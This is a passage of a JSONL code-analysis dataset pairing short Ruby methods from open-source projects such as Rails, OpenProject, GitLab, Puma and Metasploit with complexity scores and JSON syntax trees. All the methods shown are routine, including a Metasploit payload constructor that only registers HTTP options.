end","complexity_score":28.73,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_search_json\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"json_data\"]},{\"type\":\"arg\",\"children\":[\"escaped_query\"]},{\"type\":\"arg\",\"children\":[\"llm\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parsed\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"json_data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"error_code\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed\"]},\"dig\",{\"type\":\"str\",\"children\":[\"error\"]},{\"type\":\"str\",\"children\":[\"code\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error_code\"]},\"==\",{\"type\":\"int\",\"children\":[429]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Google Custom Search is Rate Limited, no search can be performed at the moment. \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json_data\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[1000]}]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"str\",\"children\":[\"Google Custom Search is Rate Limited, no search can be performed at the moment. Let the user know there is a problem.\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error_code\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Google Custom Search returned an error. \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json_data\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[1000]}]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"Google Custom Search returned an error. Let the user know there is a problem.\"]}]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed\"]},\"[]\",{\"type\":\"str\",\"children\":[\"items\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@results_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed\"]},\"dig\",{\"type\":\"str\",\"children\":[\"searchInformation\"]},{\"type\":\"str\",\"children\":[\"totalResults\"]}]},\"to_i\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"format_results\",{\"type\":\"lvar\",\"children\":[\"results\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"lvar\",\"children\":[\"escaped_query\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[null,\"minimize_field\",{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"str\",\"children\":[\"title\"]},{\"type\":\"lvar\",\"children\":[\"llm\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link\"]},{\"type\":\"send\",\"children\":[null,\"minimize_field\",{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"str\",\"children\":[\"link\"]},{\"type\":\"lvar\",\"children\":[\"llm\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"snippet\"]},{\"type\":\"send\",\"children\":[null,\"minimize_field\",{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"str\",\"children\":[\"snippet\"]},{\"type\":\"lvar\",\"children\":[\"llm\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_tokens\"]},{\"type\":\"int\",\"children\":[120]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"displayLink\"]},{\"type\":\"send\",\"children\":[null,\"minimize_field\",{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"str\",\"children\":[\"displayLink\"]},{\"type\":\"lvar\",\"children\":[\"llm\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"formattedUrl\"]},{\"type\":\"send\",\"children\":[null,\"minimize_field\",{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"str\",\"children\":[\"formattedUrl\"]},{\"type\":\"lvar\",\"children\":[\"llm\"]}]}]}]}]}]}]}","id":"63f92c6a-9f30-43e6-b00b-024aa0a92db6"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/named_base.rb","start_line":133,"raw_source":"def url_helper_prefix # :doc:\n          @url_helper_prefix ||= (class_path + [file_name]).join(\"_\")\n        end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"url_helper_prefix\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@url_helper_prefix\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"class_path\"]},\"+\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file_name\"]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"_\"]}]}]}]}","id":"b384cfc4-9db7-4896-97d1-e6dbd940139b"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_request_workflow.rb","start_line":497,"raw_source":"def dialog_active?(name, config, values)\n    return false if config[:display] == :ignore\n\n    enabled_field = \"#{name}_enabled\".to_sym\n    # Check if the fields hash contains a <dialog_name>_enabled field\n    enabled = get_value(values[enabled_field])\n    return false if [false, \"disabled\"].include?(enabled)\n\n    true\n  end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"dialog_active?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"config\"]},{\"type\":\"arg\",\"children\":[\"values\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"display\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"ignore\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"enabled_field\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"_enabled\"]}]},\"to_sym\"]}]},{\"type\":\"lvasgn\",\"children\":[\"enabled\",{\"type\":\"send\",\"children\":[null,\"get_value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"enabled_field\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"disabled\"]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"enabled\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"true\",\"children\":[]}]}]}","id":"4d59c8c0-d523-43ec-bbb5-d3bb771ba0d0"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/services/meetings/set_attributes_service.rb","start_line":32,"raw_source":"def set_attributes(params)\n      participants = params.delete(:participants_attributes)\n\n      super\n\n      if participants.present?\n        set_participants(participants)\n      else\n        set_default_participant\n      end\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"set_attributes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"participants\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"participants_attributes\"]}]}]},{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"participants\"]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"set_participants\",{\"type\":\"lvar\",\"children\":[\"participants\"]}]},{\"type\":\"send\",\"children\":[null,\"set_default_participant\"]}]}]}]}","id":"ff39342d-cbc2-40a4-9c14-3dabcb5a28eb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/admin/impersonations_controller.rb","start_line":9,"raw_source":"def destroy\n    original_user = stop_impersonation\n    redirect_to admin_user_path(original_user), status: :found\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"original_user\",{\"type\":\"send\",\"children\":[null,\"stop_impersonation\"]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"admin_user_path\",{\"type\":\"lvar\",\"children\":[\"original_user\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"found\"]}]}]}]}]}]}","id":"de425e1d-cfa4-4e05-862d-dcd0b26be3b5"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/unreachable_code.rb","start_line":35,"raw_source":"def initialize(config = nil, options = nil)\n          super\n          @redefined = []\n          @instance_eval_count = 0\n        end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"config\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@redefined\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@instance_eval_count\",{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"a8653818-5d1a-437b-baee-248814823c9b"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/work_packages/activities_tab/journals/item_component/reactions.rb","start_line":40,"raw_source":"def initialize(journal:, grouped_emoji_reactions:)\n          super\n\n          @journal = journal\n          @grouped_emoji_reactions = grouped_emoji_reactions\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"journal\"]},{\"type\":\"kwarg\",\"children\":[\"grouped_emoji_reactions\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@journal\",{\"type\":\"lvar\",\"children\":[\"journal\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@grouped_emoji_reactions\",{\"type\":\"lvar\",\"children\":[\"grouped_emoji_reactions\"]}]}]}]}","id":"19c91765-206e-424c-8097-2480896ba720"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/backlogs/db/migrate/tables/version_settings.rb","start_line":34,"raw_source":"def self.table(migration)\n    create_table migration do |t|\n      t.bigint :project_id\n      t.bigint :version_id\n      t.integer :display\n      t.timestamps precision: nil, null: false\n\n      t.index %i[project_id version_id],\n              name: \"index_version_settings_on_project_id_and_version_id\"\n    end\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"table\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"migration\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"lvar\",\"children\":[\"migration\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"project_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"version_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"display\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"index\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"sym\",\"children\":[\"version_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_version_settings_on_project_id_and_version_id\"]}]}]}]}]}]}]}","id":"eb5c5705-3089-44e6-80dd-8fc0f28a7c08"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/service.rb","start_line":211,"raw_source":"def direct_vms\n    service_resources.where(:resource_type => 'VmOrTemplate').includes(:resource).collect(&:resource).compact\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"direct_vms\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service_resources\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource_type\"]},{\"type\":\"str\",\"children\":[\"VmOrTemplate\"]}]}]}]},\"includes\",{\"type\":\"sym\",\"children\":[\"resource\"]}]},\"collect\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource\"]}]}]},\"compact\"]}]}","id":"268cbc13-ff9a-465a-8a25-7bb396e6a027"}
{"repo_name":"hanami","file_path":"./repos/hanami/lib/hanami/config/router.rb","start_line":42,"raw_source":"def respond_to_missing?(name, _include_all = false)\n        config.respond_to?(name) || super\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"respond_to_missing?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"_include_all\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"respond_to?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"fd8bb78d-b422-4760-a71a-b67a8a7e6625"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/service/docker_run/product_analytics/dotnet_sdk_app.rb","start_line":45,"raw_source":"def wait_for_app_available\n            Runtime::Logger.info(\"Waiting for .NET SDK sample app to become available at http://#{host_name}:#{@port}...\")\n            Support::Waiter.wait_until(sleep_interval: 1,\n              message: \"Wait for .NET SDK sample app to become available at http://#{host_name}:#{@port}\") { app_available? }\n            Runtime::Logger.info('.NET SDK sample app is up and event is triggered!')\n          end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"wait_for_app_available\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"Logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Waiting for .NET SDK sample app to become available at http://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"host_name\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@port\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Support\"]},\"Waiter\"]},\"wait_until\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sleep_interval\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Wait for .NET SDK sample app to become available at http://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"host_name\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@port\"]}]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"app_available?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"Logger\"]},\"info\",{\"type\":\"str\",\"children\":[\".NET SDK sample app is up and event is triggered!\"]}]}]}]}","id":"79d7b678-2789-4216-9b54-1d0847a38764"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cops_documentation_generator.rb","start_line":289,"raw_source":"def example_header(title, cop)\n      content = +formatter.to_anchor(\"#{to_anchor(title)}-#{to_anchor(cop.cop_name)}\")\n      content << formatter.to_header(title, level: 4)\n      content\n    end","complexity_score":12.95,"ast_json":"{\"type\":\"def\",\"children\":[\"example_header\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"title\"]},{\"type\":\"arg\",\"children\":[\"cop\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"formatter\"]},\"to_anchor\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_anchor\",{\"type\":\"lvar\",\"children\":[\"title\"]}]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_anchor\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cop\"]},\"cop_name\"]}]}]}]}]},\"+@\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"formatter\"]},\"to_header\",{\"type\":\"lvar\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"level\"]},{\"type\":\"int\",\"children\":[4]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]}","id":"1d05a3a1-297f-4508-8204-a14f13a75fc8"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/work_packages/set_attributes_service.rb","start_line":455,"raw_source":"def assignable_statuses\n    instantiate_contract(work_package, user).assignable_statuses(include_default: true)\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"assignable_statuses\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instantiate_contract\",{\"type\":\"send\",\"children\":[null,\"work_package\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]},\"assignable_statuses\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_default\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"43af930b-fa98-4452-b67c-995b6aa51359"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_divide_by_zero.rb","start_line":8,"raw_source":"def run_check\n    tracker.find_call(:method => :\"/\").each do |result|\n      check_division result\n    end\n  end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"run_check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"find_call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"sym\",\"children\":[\"/\"]}]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"send\",\"children\":[null,\"check_division\",{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}","id":"006631b1-efb4-4f48-99ee-985757fabc4c"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_puma_server.rb","start_line":1233,"raw_source":"def test_chunked_request_pause_between_cr_lf_after_size_of_second_chunk\n    body = nil\n    content_length = nil\n    server_run { |env|\n      body = env['rack.input'].read\n      content_length = env['CONTENT_LENGTH']\n      [200, {}, [\"\"]]\n    }\n\n    part1 = 'a' * 4200\n\n    chunked_body = \"#{part1.size.to_s(16)}\\r\\n#{part1}\\r\\n1\\r\\nb\\r\\n0\\r\\n\\r\\n\"\n\n    socket = send_http \"PUT /path HTTP/1.1\\r\\nConnection: close\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n\"\n\n    sleep 0.1\n\n    socket << chunked_body[0..-10]\n\n    sleep 0.1\n\n    socket << chunked_body[-9..-1]\n\n    response = socket.read_response\n\n    assert_equal \"HTTP/1.1 200 OK\\r\\nConnection: close\\r\\nContent-Length: 0\\r\\n\\r\\n\", response\n    assert_equal (part1 + 'b'), body\n    assert_equal \"4201\", content_length\n  end","complexity_score":31.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_chunked_request_pause_between_cr_lf_after_size_of_second_chunk\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"content_length\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"server_run\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"rack.input\"]}]},\"read\"]}]},{\"type\":\"lvasgn\",\"children\":[\"content_length\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CONTENT_LENGTH\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[200]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"part1\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},\"*\",{\"type\":\"int\",\"children\":[4200]}]}]},{\"type\":\"lvasgn\",\"children\":[\"chunked_body\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"part1\"]},\"size\"]},\"to_s\",{\"type\":\"int\",\"children\":[16]}]}]},{\"type\":\"str\",\"children\":[\"\\r\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"part1\"]}]},{\"type\":\"str\",\"children\":[\"\\r\\n1\\r\\nb\\r\\n0\\r\\n\\r\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"socket\",{\"type\":\"send\",\"children\":[null,\"send_http\",{\"type\":\"str\",\"children\":[\"PUT /path HTTP/1.1\\r\\nConnection: close\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"float\",\"children\":[0.1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"socket\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunked_body\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[-10]}]}]}]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"float\",\"children\":[0.1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"socket\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunked_body\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[-9]},{\"type\":\"int\",\"children\":[-1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"socket\"]},\"read_response\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"HTTP/1.1 200 OK\\r\\nConnection: close\\r\\nContent-Length: 0\\r\\n\\r\\n\"]},{\"type\":\"lvar\",\"children\":[\"response\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"part1\"]},\"+\",{\"type\":\"str\",\"children\":[\"b\"]}]}]},{\"type\":\"lvar\",\"children\":[\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"4201\"]},{\"type\":\"lvar\",\"children\":[\"content_length\"]}]}]}]}","id":"2b8dcde4-2159-44d1-b572-308292e7bd99"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/generated_attribute.rb","start_line":224,"raw_source":"def virtual?\n        rich_text? || attachment? || attachments?\n      end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"virtual?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rich_text?\"]},{\"type\":\"send\",\"children\":[null,\"attachment?\"]}]},{\"type\":\"send\",\"children\":[null,\"attachments?\"]}]}]}","id":"31c8bdd1-7759-40ca-96d4-28bd2bb20363"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/python/reverse_http.rb","start_line":9,"raw_source":"def initialize(info = {})\n    super(info)\n    register_advanced_options(\n      Msf::Opt::http_header_options +\n      Msf::Opt::http_proxy_options\n    )\n    deregister_options('HttpProxyType')\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]}]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Opt\"]},\"http_header_options\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Opt\"]},\"http_proxy_options\"]}]}]},{\"type\":\"send\",\"children\":[null,\"deregister_options\",{\"type\":\"str\",\"children\":[\"HttpProxyType\"]}]}]}]}","id":"07fb26d4-f49e-453b-a989-15a63aeb3300"}
